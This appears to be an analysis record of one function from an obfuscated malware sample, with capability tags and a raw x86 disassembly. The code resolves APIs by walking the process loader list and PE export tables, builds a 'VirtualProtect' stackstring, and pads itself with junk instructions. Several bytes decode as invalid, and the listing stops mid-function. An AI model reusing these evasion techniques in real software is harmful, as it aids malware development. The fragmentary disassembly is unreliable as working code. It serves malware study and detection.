Function at 0x10039de4
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push eax
xor eax, 0x2cbd
call 0x10039664
add byte [ecx + 0x4f], al
push eax
inc edx
dec ecx
xor bh, byte [esi]
add esp, 4
or eax, 0x108a7
pop eax
push ecx
or ecx, 0x34e2
pop ecx
push eax
push eax
add esp, 4
and eax, 0x11486
pop eax
cmp dword [ebp - 0x15f8], 0
jne 0x1003969a
mov dword [ebp - 0x2f0], 0
jmp 0x10039941
mov edx, dword [ebp - 0x15f8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcc4], ecx
push edi
push eax
add esp, 4
or edi, 0x47a4
pop edi
push ebx
or ebx, 0x1016
and ebx, 0x109fa
jecxz 0x100396bc
or dword [ecx], eax
add byte [ebx + 0x53], bl
push edi
add esp, 4
sub ebx, 0x7d68
add byte [ecx + 0xe86be3], al
add byte [ecx + 0xe61eb], al
add byte [ebx - 0x7d], bl
mov ebp, 0xfffff33c
cmp al, 0xf3
invalid
inc dword [eax]
jne 0x100396f6
mov dword [ebp - 0x2f0], 0
jmp 0x10039941
mov edx, dword [ebp - 0xcc4]
mov dword [ebp - 0x508], edx
push edx
push edi
add esp, 4
or edx, 0x6336
and edx, 0xd522
pop edx
push edx
push ebx
add esp, 4
and edx, 0x175ef
add edx, 0x6dc3
sub edx, 0x18298
jmp 0x10039733
pop edx
lea eax, [ebp - 0x173c]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcbc], edx
xor eax, eax
shl byte [esi - 0x77], 0x85
int3
std
invalid
push dword [ebx]
leave
mov word [ebp - 0x48], cx
push ebx
push ebx
add esp, 4
jmp 0x1003976c
jmp 0x10039772
jmp 0x10039777
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x1c47
xor esi, 0xd7f9
or esi, 0x814c
pop esi
mov edx, dword [ebp - 0xcbc]
mov ax, word [edx]
mov word [ebp - 0x104a], ax
mov ecx, dword [ebp - 0xcbc]
add ecx, 2
mov dword [ebp - 0xcbc], ecx
mov dx, word [ebp - 0x104a]
mov edx, dword [ebp - 0x104a]
mov word [ebp - 0x234], dx
mov eax, dword [ebp - 0xcc0]
mov cx, word [eax]
mov word [ebp - 0x104c], cx
invalid
xchg ebp, eax
inc eax
push esi
push esi
add esp, 4
sub esi, 0x7bdd
jmp 0x10039951
call 0x1003995f
add byte [edi], bh
dec esp
cmp byte [edi + 0x3a], cl
cmp bh, byte [edx]
aaa
add esp, 4
pop esi
push edi
push esi
add esp, 4
jmp 0x1003996d
jmp 0x10039972
pop edi
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push esi
push eax
add esp, 4
jmp 0x1003998e
or esi, 0x14a28
jmp 0x1003999b
pop esi
push esi
push esi
add esp, 4
add esi, 0x157fe
pop esi
push esi
push ebx
add esp, 4
and esi, 0x13371
xor eax, dword [ecx]
add byte [esi - 0x39], bl
test dword [eax + 0xfffff8], ecx
add byte [eax], al
add byte [ebx - 0x3377b], cl
dec dword [ecx - 0x16037b]
inc dword [ebx - 0x160343]
inc dword [eax]
jne 0x100399e4
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x50c], ecx
jmp 0x10039cd5
mov edx, dword [ebp - 0x1604]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1608], eax
jne 0x10039a0c
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x50c], ecx
jmp 0x10039cd5
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x160c], edx
cmp dword [ebp - 0x160c], 0
jne 0x10039a3e
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x50c], eax
jmp 0x10039cd5
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x160c]
mov dword [ebp - 0x76c], ecx
jne 0x10039a63
mov edx, dword [ebp - 0x778]
mov dword [ebp - 0x50c], edx
jmp 0x10039cd5
add al, byte [eax]
invalid
mov eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
dec eax
and byte [ecx - 0x199f73], cl
dec dword [ebx - 0x76b6b]
dec dword [ebx - 0x3377b]
enter 0xfffffffffffffffc, 0xffffffffffffffff
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a4], eax
mov ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19a8], edx
mov dword [ebp - 0x770], 0
jmp 0x10039abd
mov ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x770]
cmp edx, dword [ecx + 0x18]
jae 0x10039cc9
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x19a0]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x774], edx
invalid
invalid
nop
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x7a4], ecx
push esi
jmp 0x10039ce8
pop esi
push esi
push eax
add esp, 4
sub esi, 0x2700
add esi, 0x559c
or esi, 0x1763f
sub esi, 0x5e18
pop esi
push edi
push eax
add esp, 4
or edi, 0x7a90
pop edi
mov edx, dword [ebp - 0x3fc]
add edx, 0xe
mov dword [ebp - 0x19fc], edx
push esi
xor esi, 0xca87
pop esi
push edi
push ebx
add esp, 4
call 0x10039d3e
add byte [edx], bh
dec esp
inc esi
inc ecx
dec eax
dec esp
inc edi
inc ecx
add esp, 4
call 0x10039d50
add byte [eax + 0x41], cl
cmp eax, 0x32353732
inc edi
xor al, byte [ebx - 0x7ca0fb3c]
mov ebp, 0xfffffc04
add byte [ecx + ecx - 0x7d], dh
mov ebp, 0xfffff528
add byte [ebp + 0x46], dh
push ecx
push eax
add esp, 4
jmp 0x10039d73
pop ecx
push ebx
push esi
add esp, 4
call 0x10039d85
add byte [edx], dh
dec eax
inc edx
xor al, 0x4b
cmp eax, 0xeb04c483
add eax, 0x353a3833
dec edi
pop ebx
push edx
add edx, 0x13d53
pop edx
mov eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x19b0], eax
push 0
call dword [ebp - 0x19b0]
mov dword [ebp - 0x2048], 0xa
push edx
push edx
add esp, 4
call 0x10039dc7
add byte [ebx], bh
dec ebp
inc ebx
cmp dh, byte [ebx]
add esp, 4
sub edx, 0x111cf
and edx, 0x15226
call 0x10039de4
add byte [eax + 0x48], dl
cmp dword [esi + 0x4b], eax
xor al, 0x42
aas
add esp, 4
pop edx
mov ecx, dword [ebp - 0x3fc]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x3b0], dl
mov eax, dword [ebp - 0xad8]
sub eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x1690], eax
mov dword [ebp - 0xcf8], 0
push edi
push esi
add esp, 4
add edi, 0x14484
pop edi
push esi
xor esi, 0xac2e
add esi, 0x40a9
pop esi
push eax
push edx
add esp, 4
or eax, 0x1499e
and eax, 0x4540
xor eax, 0x9fbf
pop eax
mov byte [ebp - 0x9dc], 0x56
mov byte [ebp - 0x9db], 0x69
mov byte [ebp - 0x9da], 0x72
mov byte [ebp - 0x9d9], 0x74
mov byte [ebp - 0x9d8], 0x75
mov byte [ebp - 0x9d7], 0x61
mov byte [ebp - 0x9d6], 0x6c
mov byte [ebp - 0x9d5], 0x50
mov byte [ebp - 0x9d4], 0x72
mov byte [ebp - 0x9d3], 0x6f
mov byte [ebp - 0x9d2], 0x74
mov byte [ebp - 0x9d1], 0x65
mov byte [ebp - 0x9d0], 0x63
mov byte [ebp - 0x9cf], 0x74
mov byte [ebp - 0x9ce], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19b4], ecx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19b8], eax
mov ecx, dword [ebp - 0x19b8]
mov dword [ebp - 0x1610], ecx
push esi
jmp 0x10039edf
sub esi, 0x10e83
sub esi, 0xed70
pop esi
push eax
add eax, 0x79f7
sub eax, 0x13920
add eax, 0xe5ff
pop eax
push eax
add eax, 0x8dcc
pop eax
cmp dword [ebp - 0x1610], 0
jne 0x10039f20
mov dword [ebp - 0x300], 0
jmp 0x1003a1c7
mov edx, dword [ebp - 0x1610]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push edx
push edi
add esp, 4
xor edx, 0x2ba7
or edx, 0x1275
sub edx, 0x35cf
or edx, 0xaff3
pop edx
push esi
add esi, 0x164b
xor esi, 0xb08c
sub esi, 0x7bbe
pop esi
cmp dword [ebp - 0xcd4], 0
jne 0x10039f7c
mov dword [ebp - 0x300], 0
jmp 0x1003a1c7
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x510], edx
push ebx
push ebx
add esp, 4
xor ebx, 0x9d18
and ebx, 0x1f30
add ebx, 0xcdc2
pop ebx
push ebx
push esi
add esp, 4
or ebx, 0x1342c
add ebx, 0x17c73
pop ebx
push ebx
add ebx, 0x737
pop ebx
lea eax, [ebp - 0x173c]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x238], ax
xor ecx, ecx
mov word [ebp - 0x4c], cx
push eax
push edx
add esp, 4
jmp 0x10039fef
jmp 0x10039ff8
pop eax
push eax
xor eax, 0xfeaa
and eax, 0x1493e
jmp 0x1003a00f
or eax, 0x31d8
pop eax
mov edx, dword [ebp - 0xccc]
mov ax, word [edx]
mov word [ebp - 0x104e], ax
mov ecx, dword [ebp - 0xccc]
add ecx, 2
mov dword [ebp - 0xccc], ecx
mov dx, word [ebp - 0x104e]
mov word [ebp - 0x238], dx
mov eax, dword [ebp - 0xcd0]
mov cx, word [eax]
mov word [ebp - 0x1050], cx
mov edx, dword [ebp - 0xcd0]
add edx, 2
mov dword [ebp - 0xcd0], edx
mov ax, word [ebp - 0x1050]
mov word [ebp - 0x4c], ax
push eax
or eax, 0xd247
jmp 0x1003a079
pop eax
push esi
push eax
add esp, 4
call 0x1003a08f
add byte [edi + 0x36], al
inc esp
inc ebx
aas
dec esp
cmp edi, dword [edi]
dec ecx
inc esp
add esp, 4
sub esi, 0x8a1f
add esi, 0x896c
pop esi
movzx ecx, word [ebp - 0x4c]
test ecx, ecx
jne 0x1003a0bc
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
sub edx, eax
mov dword [ebp - 0x1618], edx
jmp 0x1003a116
movzx ecx, word [ebp - 0x238]
movzx edx, word [ebp - 0x4c]
cmp ecx, edx
je 0x10039fe4
movzx eax, word [ebp - 0x238]
xor eax, 0x20
movzx ecx, word [ebp - 0x4c]
cmp eax, ecx
je 0x10039fe4
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
cmp edx, eax
jge 0x1003a100
mov dword [ebp - 0x1614], 0xffffffff
jmp 0x1003a10a
mov dword [ebp - 0x1614], 1
mov ecx, dword [ebp - 0x1614]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x1003a15f
push edi
push eax
add esp, 4
or edi, 0x17800
sub edi, 0x173c9
or edi, 0x17335
pop edi
push esi
xor esi, 0x1167d
call 0x1003a14d
add byte [edi + 0x3e], al
dec esi
dec eax
aas
inc ecx
aas
xor eax, 0x5e04c483
mov edx, dword [ebp - 0x510]
mov dword [ebp - 0x300], edx
jmp 0x1003a1c7
push ebx
xor ebx, 0x521a
and ebx, 0x14461
xor ebx, 0x16295
and ebx, 0x12b2d
pop ebx
push eax
push edi
add esp, 4
and eax, 0x762f
jmp 0x1003a18a
or eax, 0x31a3
pop eax
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov dword [ebp - 0x510], ecx
mov edx, dword [ebp - 0x510]
cmp edx, dword [ebp - 0xcd4]
je 0x1003a1bd
mov eax, dword [ebp - 0x510]
cmp dword [eax + 0x30], 0
jne 0x10039f88
mov dword [ebp - 0x300], 0
push ebx
add ebx, 0x85e5
xor ebx, 0xcef4
and ebx, 0x29bc
xor ebx, 0xeae0
pop ebx
push esi
push ecx
add esp, 4
add esi, 0x1c69
and esi, 0x1457f
sub esi, 0xd913
pop esi
cmp dword [ebp - 0x300], 0
jne 0x1003aacc
mov ecx, 0x6b
mov word [ebp - 0x17a4], cx
mov edx, 0x65
mov word [ebp - 0x17a2], dx
mov eax, 0x72
mov word [ebp - 0x17a0], ax
mov ecx, 0x6e
mov word [ebp - 0x179e], cx
mov edx, 0x65
invalid
invalid
xchg ebp, eax
invalid
invalid